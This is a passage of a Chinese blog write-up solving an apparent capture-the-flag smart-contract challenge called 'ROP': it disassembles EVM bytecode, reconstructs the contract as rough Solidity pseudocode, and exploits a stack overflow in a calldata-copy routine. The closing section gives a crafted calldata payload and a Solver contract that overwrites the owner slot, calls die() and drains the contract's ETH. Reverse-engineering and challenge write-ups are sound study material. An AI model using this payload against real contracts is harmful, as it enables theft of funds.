0x29c: PUSH2     0x2a3          0x7909947a M[100] 0x2a3
0x29f: PUSH2     0xb4           0x7909947a M[100] 0x2a3 0xb4
0x2a2: JUMP                     0x7909947a M[100] 0x2a3
0x2a3: JUMPDEST                 0x7909947a M[100]
0x2a4: PUSH2     0x2ae          0x7909947a M[100] 0x2ae
0x2a7: PUSH2     0x2bc          0x7909947a M[100] 0x2ae 0x2bc
0x2aa: PUSH2     0x8c           0x7909947a M[100] 0x2ae 0x2bc 0x8c
0x2ad: JUMP                     0x7909947a M[100] 0x2ae 0x2bc 
0x2ae: JUMPDEST                 0x7909947a M[100]
0x2af: PUSH2     0x2b7          0x7909947a M[100] 0x2b7
0x2b2: DUP2                     0x7909947a M[100] 0x2b7 0x2b7
0x2b3: PUSH2     0x8c           0x7909947a M[100] 0x2b7 0x2b7 0x8c
0x2b6: JUMP                     0x7909947a M[100] 0x2b7 0x2b7
0x2b7: JUMPDEST                 0x7909947a M[100]
0x2b8: PUSH2     0xf3           0x7909947a M[100] 0xf3
0x2bb: JUMP                     0x7909947a M[100]

=> 翻译一下
function 0x7909947a() public {
    stack_pointer_init();
    push_stack(0x0);
    uint topPointer;
    assembly{
        topPointer := mload(0x100)
    }
    push_stack(0x0);
    uint size;
    assembly {
        size := calldatasize()
        calldatacopy(0x90000, 0x44, size)
    }
    push_stack_frame();
    uint return_pointer = 0x29b;
    push_stack(return_pointer);
    push_stack(0x90000);
    push_stack(topPointer);
    push_stack(size-0x44);
    0x7909947a_impl();
}

:tropical_fish: 首先是0xde

这里给0xde取名叫stack_pointer_init(),原因很简单,因为其作用是初始化内存地址100的值为固定值0x100. 其实作用是初始化内存栈的栈顶。

0xde: JUMPDEST              0x7909947a backPointer 
0xdf: PUSH2     0xe6        0x7909947a backPointer 0xe6
0xe2: PUSH2     0x7c        0x7909947a backPointer 0xe6 0x7c
0xe5: JUMP                  0x7909947a backPointer 0xe6
0xe6: JUMPDEST              0x7909947a backPointer 
0xe7: JUMP                  0x7909947a

0x7c: JUMPDEST              0x7909947a backPointer 0xe6
0x7d: PUSH2     0x100       0x7909947a backPointer 0xe6 0x100
0x80: PUSH2     0x100       0x7909947a backPointer 0xe6 0x100 0x100
0x83: MSTORE                0x7909947a backPointer 0xe6 
0x84: JUMP                  0x7909947a backPointer 
=> 翻译一下
function stack_pointer_init() private {
    assembly{
        mstore(0x100, 0x100)
    }
}

:tropical_fish: 再是0x15d

分析该函数,发现函数内部调用的顺序为:0x15d -> 0x8c(0x0) -> 0x168(循环, 0x1ce跳出循环) -> 0x1e0(循环,0x211跳出循环) -> 0x9b -> 0x9b -> 0x9b -> 0x9b -> 0xc3

0x15d: JUMPDEST                 0x7909947a framePointer
0x15e: PUSH2     0x167          0x7909947a framePointer 0x167
0x161: PUSH1     0x0            0x7909947a framePointer 0x167 0x0
0x163: PUSH2     0x8c           0x7909947a framePointer 0x167 0x0 0x8c
0x166: JUMP                     0x7909947a framePointer 0x167 0x0
0x167: JUMPDEST                 0x7909947a framePointer
0x168: JUMPDEST                 
0x169: PUSH1     0x20           0x7909947a framePointer 0x20
0x16b: PUSH2     0x100          0x7909947a framePointer 0x20 0x100
0x16e: MLOAD                    0x7909947a framePointer 0x20 M[100]
0x16f: SUB                      0x7909947a framePointer M[100]-0x20
0x170: MLOAD                    0x7909947a framePointer M[M[100]-0x20]
0x171: PUSH2     0x100          0x7909947a framePointer M[M[100]-0x20] 0x100
0x174: MLOAD                    0x7909947a framePointer M[M[100]-0x20] M[100]
0x175: MLOAD                    0x7909947a framePointer M[M[100]-0x20] M[M[100]]
0x176: SUB                      0x7909947a framePointer M[M[100]]-M[M[100]-0x20]
0x177: ISZERO                   0x7909947a framePointer nonZero
0x178: PUSH2     0x1ce          0x7909947a framePointer nonZero 0x1ce
0x17b: JUMPI                    0x7909947a framePointer 
0x17c: PUSH32    0x100000000000000000000000000000000000000000000000000000000000000 0x7909947a framePointer 0x10..
0x19d: PUSH2     0x100          0x7909947a framePointer 0x10.. 0x100
0x1a0: MLOAD                    0x7909947a framePointer 0x10.. M[100]
0x1a1: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]]
0x1a2: PUSH1     0x60           0x7909947a framePointer 0x10.. M[M[100]] 0x60
0x1a4: PUSH2     0x100          0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x100
0x1a7: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]] 0x60 M[100]
0x1a8: SUB                      0x7909947a framePointer 0x10.. M[M[100]] M[100]-0x60
0x1a9: MLOAD                    0x7909947a framePointer 0x10.. M[M[100]] M[M[100]-0x60]
0x1aa: ADD                      0x7909947a framePointer 0x10.. M[M[100]]+M[M[100]-0x60]
0x1ab: MLOAD                    0x7909947a framePointer 0x10.. M[M[M[100]]+M[M[100]-0x60]]
0x1ac: DIV                      0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10..
0x1ad: PUSH2     0x100          0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x100
0x1b0: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[100]
0x1b1: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]
0x1b2: PUSH1     0x40           0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40
0x1b4: PUSH2     0x100          0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x100
0x1b7: MLOAD                    0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 M[100]
0x1b8: SUB                      0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[100]-0x40
0x1b9: MLOAD            0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[M[100]-0x40]
0x1ba: ADD              0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]+M[M[100]-0x40]
0x1bb: MSTORE8                  0x7909947a framePointer
0x1bc: JUMPDEST                 0x7909947a framePointer
0x1bd: PUSH1     0x1            0x7909947a framePointer 0x1
0x1bf: PUSH2     0x100          0x7909947a framePointer 0x1 0x100
0x1c2: MLOAD                    0x7909947a framePointer 0x1 M[100]
0x1c3: MLOAD                    0x7909947a framePointer 0x1 M[M[100]]
0x1c4: ADD                      0x7909947a framePointer 0x1+M[M[100]]
0x1c5: PUSH2     0x100          0x7909947a framePointer 0x1+M[M[100]] 0x100
0x1c8: MLOAD                    0x7909947a framePointer 0x1+M[M[100]] M[100]
0x1c9: MSTORE                   0x7909947a framePointer
0x1ca: PUSH2     0x168          0x7909947a framePointer 0x168
0x1cd: JUMP                     0x7909947a framePointer
0x1ce: JUMPDEST                 0x7909947a framePointer
0x1cf: PUSH1     0x0            0x7909947a framePointer 0x0
0x1d1: PUSH2     0x100          0x7909947a framePointer 0x0 0x100
0x1d4: MLOAD                    0x7909947a framePointer 0x0 M[100]
0x1d5: MLOAD                    0x7909947a framePointer 0x0 M[M[100]]
0x1d6: PUSH1     0x40           0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1d8: PUSH2     0x100          0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1db: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1dc: SUB                      0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1dd: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1de: ADD                      0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1df: MSTORE8                  0x7909947a framePointer
0x1e0: JUMPDEST                 0x7909947a framePointer
0x1e1: PUSH1     0x40           0x7909947a framePointer 0x40
0x1e3: PUSH2     0x100          0x7909947a framePointer 0x40 0x100
0x1e6: MLOAD                    0x7909947a framePointer 0x40 M[100]
0x1e7: MLOAD                    0x7909947a framePointer 0x40 M[M[100]]
0x1e8: MOD                      0x7909947a framePointer M[M[100]]%0x40
0x1e9: ISZERO                   0x7909947a framePointer nonZero
0x1ea: PUSH2     0x211          0x7909947a framePointer nonZero 0x211
0x1ed: JUMPI                    0x7909947a framePointer
0x1ee: PUSH1     0x0            0x7909947a framePointer 0x0
0x1f0: PUSH2     0x100          0x7909947a framePointer 0x0 0x100
0x1f3: MLOAD                    0x7909947a framePointer 0x0 M[100]
0x1f4: MLOAD                    0x7909947a framePointer 0x0 M[M[100]]
0x1f5: PUSH1     0x40           0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1f7: PUSH2     0x100          0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1fa: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1fb: SUB                      0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1fc: MLOAD                    0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1fd: ADD                      0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1fe: MSTORE8                  0x7909947a framePointer
0x1ff: JUMPDEST                 0x7909947a framePointer
0x200: PUSH1     0x1            0x7909947a framePointer 0x1
0x202: PUSH2     0x100          0x7909947a framePointer 0x1 0x100
0x205: MLOAD                    0x7909947a framePointer 0x1 M[100]
0x206: MLOAD                    0x7909947a framePointer 0x1 M[M[100]]
0x207: ADD                      0x7909947a framePointer 0x1+M[M[100]]
0x208: PUSH2     0x100          0x7909947a framePointer 0x1+M[M[100]] 0x100
0x20b: MLOAD                    0x7909947a framePointer 0x1+M[M[100]] M[100]
0x20c: MSTORE                   0x7909947a framePointer
0x20d: PUSH2     0x1e0          0x7909947a framePointer 0x1e0
0x210: JUMP                     0x7909947a framePointer
0x211: JUMPDEST                 0x7909947a framePointer
0x212: PUSH2     0x219          0x7909947a framePointer 0x219
0x215: PUSH2     0x9b           00x7909947a framePointer 0x219 0x9b
0x218: JUMP                     0x7909947a framePointer 0x219
0x219: JUMPDEST                 0x7909947a framePointer returnValue
0x21a: POP                      0x7909947a framePointer 
0x21b: PUSH2     0x222          0x7909947a framePointer 0x222
0x21e: PUSH2     0x9b           0x7909947a framePointer 0x222 0x9b
0x221: JUMP                     0x7909947a framePointer 0x222
0x222: JUMPDEST                 0x7909947a framePointer returnValue2
0x223: POP                      0x7909947a framePointer 
0x224: PUSH2     0x22b          0x7909947a framePointer 0x22b
0x227: PUSH2     0x9b           0x7909947a framePointer 0x22b 0x9b
0x22a: JUMP                     0x7909947a framePointer 0x22b
0x22b: JUMPDEST                 0x7909947a framePointer returnValue3
0x22c: POP                      0x7909947a framePointer 
0x22d: PUSH2     0x234          0x7909947a framePointer 0x234
0x230: PUSH2     0x9b           0x7909947a framePointer 0x234 0x9b
0x233: JUMP                     0x7909947a framePointer 0x234
0x234: JUMPDEST                 0x7909947a framePointer returnValue3
0x235: POP                      0x7909947a framePointer 
0x236: PUSH2     0xc3           0x7909947a framePointer 0xc3
0x239: JUMP                     0x7909947a framePointer 

=> 翻译一下
function 0x7909947a_impl() public {
    push_stack(0x0);
    copy_data();
    uint temp = get_stack(0) + get_stack(2);
    assembly{
        mstore(temp, 0x00)
    }
    pad_data();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack_frame();
}
function pad_data() private {
    while (get_stack(0) % 0x40 != 0) {
        uint temp0 = get_stack(0);
        uint temp2 = get_stack(2);
        assembly {
            mstore(temp0+temp2, 0x00)
            mstore(mload(0x100), add(temp0, 0x01))
        }
    }
}
function copy_data() private {
    while (get_stack(0) - get_stack(1) != 0) {
        uint temp0 = get_stack(0);
        uint temp2 = get_stack(2);
        uint temp3 = get_stack(3);
        assembly {
            let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
            let temp_key := add(temp0, temp2)
            mstore8(temp_key, temp_val)
            mstore(mload(0x100), add(temp0, 0x01))
        }
    }
}
function get_stack(uint i) private returns (uint256 value){
    //helper M[M[0x100+0x20*i]]
    assembly {
        let temp := mload(0x100)
        let temp2 := sub(temp, mul(0x20, i))
        value := mload(temp2)
    }
}

:cry:要理解这个函数再干嘛,就需要先理解其中的copy_data和pad_data在干什么。以及调用这个函数前的堆栈的结构是怎样的。

0x00 0x200 get_stack(0)
size-0x44 0x1e0 get_stack(1)
0x0120 0x1c0 get_stack(2)
0x90000 0x1a0 get_stack(3)
return pointer 0x180 get_stack(4)
stack frme 0x7909947a() 0x160 get_stack(5)
0x00 0x140 get_stack(6)
0x00 0x120 get_stack(7)

copydata的作用是,逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。

paddata的作用是,给copyadata后,0x120后拷贝的部份数据尾巴长度不足0x40的部分给他填0。比如如果是数据尾巴在0x36,则再补充4个字节的0补齐到0x40, 如果是0x76,则也是补齐4个字节的0到0x80.

则该函数的主要作用是把数据拷贝到栈底处,并规范格式。然后退出。

:crossed_fingers:solidity代码整理

由于基本上所有函数都逆向出来了,现在我们可以整理下整个合约,看下整体的合约逻辑

pragma solidity ^0.5.0;

contract ROP {
    address _get;
    address _die;

    constructor(address get_, address die_) public payable {
        _get = get_;
        _die = die_;
    }

    function die() public payable { 
        require(msg.sender == _die);
        selfdestruct(_die);
    }
    function get() public { 
        require(msg.sender != _get);
        return _get;
    }
    function() public payable { 
        revert();
    }
    modifier nonPayable() {
        require(msg.value == 0);
        _;
    }
    function push_stack_frame() private {
        uint256 value;
        assembly{
            value := mload(0x100)
        }
        push_stack(value)
    } 
    function push_stack(uint256 value) private {
        uint temp;
        assembly{
            temp := mload(0x100)
            mstore(add(temp, 0x20), value)
            mstore(0x100, add(temp, 0x20))
        }
    }
    function set_impl() private{
        uint temp0;
        uint temp1
        assembly{
            temp0 := mload(0x100) //M[100]
            temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
            sstore(mload(temp0), temp1)
        }
        pop_stack();
        pop_stack();
        pop_stack_frame();
    }
    function pop_stack_frame() private {
        int redirectTo;
        int pointer;
        redirectTo = pop_stack();
        pointer = pop_stack();
        newStackPointer(pointer);
        // assembly {
        //     jump(redirectTo)
        // }
        return;
    }
    function stack_pointer_init() private {
        assembly{
            mstore(0x100, 0x100)
        }
    }

    function pad_data() private {
        while (get_stack(0) % 0x40 != 0) {
            uint temp0 = get_stack(0);
            uint temp2 = get_stack(2);
            assembly {
                mstore(temp0+temp2, 0x00)
                mstore(mload(0x100), add(temp0, 0x01))
            }
        }
    }
    function copy_data() private {
        while (get_stack(0) - get_stack(1) != 0) {
            uint temp0 = get_stack(0);
            uint temp2 = get_stack(2);
            uint temp3 = get_stack(3);
            assembly {
                let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)
                let temp_key := add(temp0, temp2)
                mstore8(temp_key, temp_val)
                mstore(mload(0x100), add(temp0, 0x01))
            }
        }
    }
    function get_stack(uint i) private returns (uint256 value){
        //helper M[M[0x100+0x20*i]]
        assembly {
            let temp := mload(0x100)
            let temp2 := sub(temp, mul(0x20, i))
            value := mload(temp2)
        }
    }
    function 0x7909947a_impl() private {
        push_stack(0x0);
        copy_data();
        uint temp = get_stack(0) + get_stack(2);
        assembly{
            mstore(temp, 0x00)
        }
        pad_data();
        pop_stack();
        pop_stack();
        pop_stack();
        pop_stack();
        pop_stack_frame();
    }
    function set(uint256 value) public nonPayable{
        push_stack_frame();
        uint redirectTo = 0x344;
        push_stack(redirectTo);
        uint256 newStackPointer;
        assembly{
            newStackPointer := calldataload(0x04)
        }
        push_stack(newStackPointer);
        push_stack(0x00);
        set_impl();
    }
    function 0x7909947a() public {
        stack_pointer_init();
        push_stack(0x0);
        uint topPointer;
        assembly{
            topPointer := mload(0x100)
        }
        push_stack(0x0);
        uint size;
        assembly {
            size := calldatasize()
            calldatacopy(0x90000, 0x44, size)
        }
        push_stack_frame();
        uint return_pointer = 0x29b;
        push_stack(return_pointer);
        push_stack(0x90000);
        push_stack(topPointer);
        push_stack(size-0x44);
        0x7909947a_impl();
    }
}

:necktie: 问题分析

合约逆向出来了,但是我们的问题还是存在,如何从合约中拿到它所有的ETH呢?

思路很直接,肯定是利用die函数,但是die函数要求msg.sender == die_, 因此需要重写全局变量die_的值。又发现唯一一个能写全局变量的值的函数是set_impl().分析set_impl()函数,其实质是将get_stack(1)的值写入get_stack(0)处。故我们需要构造一个stack,使得get_stack(0)==0x20 & get_stack(1) == tx.origin 以及为了使用pop_stack_frame()函数,需要保证一个返回位点位于get_stack(3)==return gadget

同时我们再之前的逆向过程中,也发现我们能够利用的唯有0x7909967a函数,传入data,然后再内部调用0x7909947a_impl()函数来利用栈溢出这一bug来重写栈。从而重新定义执行逻辑。由于再0x7909947a_impl()函数中,拷贝数据的逻辑由copydata确定。故我们需要根据copydata的逻辑来构造我们的data数据。

0x260 0x20
0x240 address(msg.sender)
0x220 return point (0x344)
0x00 0x200 0xff (当前拷贝的值的位置,offset)
size-0x44 0x1e0 0x0140
0x0120 0x1c0 0x0120
0x90000 0x1a0 0x090000
return pointer 0x180 0x2ea
stack frame 0x7909947a() 0x160 0x90140
0x00 0x140 0x00000000..
0x00 0x120 0x00000000..

构造这个stack时,需要仔细理解copydata的逻辑,它是逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。由于最开始开始拷贝的时候,get_stack(0) = 0x00, 故他会从我们构造好的栈底开始拷贝数据到0x120中,一直拷贝,知道get_stack(0)处,由于这个位置的数据代表的就是当前拷贝的数据数量,故拷贝值到这个位置时,需要与正确的拷贝数据值相吻合,故计算得出此时已有8个字节的数据拷贝进入,故此处应该是0xff.

第二个关键点是:我构造了栈,但是怎么保证栈顶的指针指向正确呢?也是再copydata中定义了,mstore(mload(0x100), add(temp0, 0x01))这句话就在不断地更新栈顶的指针,从而使得我们构造的栈也是可以正确使用的。

function copy_data() private {
    while (get_stack(0) - get_stack(1) != 0) {
        uint temp0 = get_stack(0);
        uint temp2 = get_stack(2);
        uint temp3 = get_stack(3);
        assembly {
            let temp_val := div(mload(temp0+temp3), 0x0100000000000000000000000000000000000000000000000000000000000000)
            let temp_key := add(temp0, temp2)
            mstore8(temp_key, temp_val)
            mstore(mload(0x100), add(temp0, 0x01))
        }
    }
}

所以构造的数据为:此时还需要加上前面被略去的0x44个字节

7909947a
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000 => 0x120
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000090140
00000000000000000000000000000000000000000000000000000000000002ea
0000000000000000000000000000000000000000000000000000000000090000
0000000000000000000000000000000000000000000000000000000000000120
0000000000000000000000000000000000000000000000000000000000000140
00000000000000000000000000000000000000000000000000000000000000ff
0000000000000000000000000000000000000000000000000000000000000344
0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938
0000000000000000000000000000000000000000000000000000000000000020 => 0x260

:haircut_man: 验证数据

好的,我们再验证一下这个数据是否能够按照我们设想的那样工作:

function 0x7909947a_impl() private {
    push_stack(0x0);
    copy_data();
    uint temp = get_stack(0) + get_stack(2);
    assembly{
        mstore(temp, 0x00)
    }
    pad_data();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

经过copydata, 之后跳过pad_data部分,弹出4个,进入到pop_stack_frame()中,此时的栈结构为:

size-0x44 0x1e0 0x0140
0x0120 0x1c0 0x0120
0x90000 0x1a0 0x090000
return pointer 0x180 0x2ea
stack frame 0x7909947a() 0x160 0x90140
0x00 0x140 0x00000000..
0x00 0x120 0x00000000..

然后再经过pop_stack_frame()后,栈的结构变为:

function pop_stack_frame() private {
        int redirectTo;
        int pointer;
        redirectTo = pop_stack();
        pointer = pop_stack();
        newStackPointer(pointer);
        assembly {
            jump(redirectTo)
        }
        //return;
    }
get_stack(0) 90140 0x20
get_stack(1) 90120 address(msg.sender)
get_stack(2) 90100 return point (0x344)

同时函数跳转到0x2ea位置处,即set_impl()处,此刻即构造成功了我们需要的栈。

function set_impl() private{
    uint temp0;
    uint temp1
    assembly{
        temp0 := mload(0x100) //M[100]
        temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
        sstore(mload(temp0), temp1)
    }
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

:haircut_woman: 解决方案:

由此,我们最后的解决方案如下:

//data = 0x7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020
pragma solidity ^0.5.0;

contract Target {
    function get()public returns (address) ;
    function set(uint a) public;
    function die() public;
}

contract Solver {
    constructor(bytes memory data) public payable {
        (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);
        require(result);
        Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();
        require(address(this).balance > 0);
        selfdestruct(msg.sender);
    }
}

区块链技术网。

  • 发表于 2021-06-20 12:47
  • 阅读 ( 537 )
  • 学分 ( 38 )
  • 分类:智能合约

评论